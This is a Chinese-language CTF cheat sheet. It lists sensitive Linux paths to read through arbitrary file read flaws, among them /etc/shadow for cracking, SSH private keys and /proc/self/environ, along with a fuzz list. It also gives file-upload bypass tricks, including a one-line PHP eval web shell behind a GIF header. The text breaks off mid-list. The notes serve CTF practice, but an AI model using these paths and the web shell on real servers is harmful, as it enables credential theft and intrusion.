一些CTF 做题的tricks,东拼西凑放到这里,方便查找
任意文件读取路径汇总
任意文件读取漏洞和文件包含漏洞的表现相似,但是任意文件读取不能getshell,可以通过尝试读取相对路径的脚本文件,比如/read.php?file=index.php,如果可以读取到文件源码,说明是文件读取,如果不能读取到文件源码说明是文件包含。
下面收集的是一些常用的利用路径,应该够用了,以后也会及时更新,放在这便于以后的查阅和参考:
需要高权限读取的:
用户信息文件
/etc/passwd # 用来记录每个拥有系统访问权的注册用户
/etc/shadow # 密码信息,获取到后可用 John the Ripper 爆破
/root/.bash_history # 输入命令的历史记录,还有root外的其他用户
/root/.ssh/id_rsa # 拿到私钥后可直接ssh登陆
### 系统信息文件
/etc/hosts # 主机信息
/proc/version # 内核版本
/proc/mounts # 挂载的文件系统列表
/root/.bashrc # 环境变量信息
/proc/net/route # 路由表信息
/proc/net/arp # arp表,可以获得内网其他机器的地址
/root/.viminfo # vim 信息
程序运行信息
/proc/sched_debug # 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
/proc/net/tcp # 活动连接的信息
/proc/net/udp
/proc/net/fib_trie # 路由缓存
/proc/[PID]/cmdline # 进程状态[pid],可能包含有用的路径信息,可以为0000-9999,可以暴力枚举
/proc/[PID]/environ # 程序运行的环境变量信息,可以用来包含getshell
/proc/[PID]/cwd # 当前进程的工作目录
/proc/[PID]/fd/[num] # 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log
/proc/self/fd/[0-99] # 可能获取到当前运行进程的文件
获取当前进程信息
fuzz字典
/proc/self/cmdline
/proc/self/stat
/proc/self/status
/proc/self/environ
/proc/verison
/proc/cmdline
/proc/self/cwd
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/3
/proc/self/fd/4
/proc/self/fd/5
/proc/self/fd/6
/proc/self/fd/7
/proc/self/fd/8
/proc/self/fd/9
/proc/self/fd/10
/proc/self/fd/11
/proc/self/fd/12
/proc/self/fd/13
/proc/self/fd/14
/proc/self/fd/15
/proc/self/fd/16
/proc/self/fd/17
/proc/self/fd/18
/proc/self/fd/19
/proc/self/fd/20
/proc/self/fd/21
/proc/self/fd/22
/proc/self/fd/23
/proc/self/fd/24
/proc/self/fd/25
/proc/self/fd/26
/proc/self/fd/27
/proc/self/fd/28
/proc/self/fd/29
/proc/self/fd/30
/proc/self/fd/31
/proc/self/fd/32
/proc/self/fd/33
/proc/self/fd/34
/proc/self/fd/35
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/net/fib_trie
/proc/version
系统信息相关:
/etc/issue
/proc/version
/etc/redhat-release
/etc/debian_version
/etc/slackware_version
/etc/*version
/proc/cpuinfo
一些默认路径
SSH
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.ssh/authorized_keys
/etc/ssh/sshd_config
/var/log/secure
Nginx
/etc/nginx/nginx.conf
/var/www/html
/usr/local/services/nginx-1.6.2/logs/access.log #根据情况替换[version]
/usr/local/services/nginx-[version]/logs/error.log
/usr/local/services/nginx-[version]/nginx.conf
/usr/local/services/nginx-[version]/conf/nginx.conf
/usr/local/services/nginx-[version]/conf/proxy.conf
/usr/local/services/nginx-[version]/conf/extra/haolaiyao.conf
Apache
/home/httpd/
/home/httpd/www/
tomcat
/usr/local/services/apache-tomcat-8.0.23/logs #根据情况替换[version]
/usr/local/services/apache-tomcat-[version]/logs/catalina.out
jetty
/usr/local/services/jetty-8.1.16/ #根据情况替换[version]
/usr/local/services/jetty-8.1.16/logs/stderrout.log
/usr/local/services/jetty-8.1.16/etc/jetty.xml
resin
/usr/local/services/resin-4.0.44/ #根据情况替换[version]
/usr/local/services/resin-4.0.44/conf/resin.xml
/usr/local/services/resin-4.0.44/conf/resin.properties
svn
/home/svnroot/
文件上传绕过
平常做ctf题的时候有很多上传的题目,有时候碰到了文件上传会不知道往哪里尝试绕过,所以在这里汇总平时遇到的一些绕过思路,以便以后卡克的时候速查。
Content-Type字段校验
Content-Type用于定义网络文件的类型和网页的编码,决定文件接收方将以什么形式、什么编码读取这个文件,绕过时只需更改Content-Type参数值即可。
常用Content-Type:
#图片文件
image/png image/jpeg image/gif
#文本文件
text/plain text/xml text/html
更多 -> HTTP Content-Type 对照表
文件头绕过
在木马内容基础上再加一些文件信息,比如文件的文件头。
其中.gif
文件的文件头可以全部用ascii字符表示:
GIF89a <?php eval($_POST[1]); ?>
文件名绕过
后缀名绕过
后缀大小写绕过(linux下可以尝试)
.pHp .aSp
不常用后缀绕多
通过上传一些平时不怎么用的容易被人忽视的文件扩展名,来绕过一些验证。
.jsp .jspa .jspx .jspw .jspv .jspf .jtml # jsp文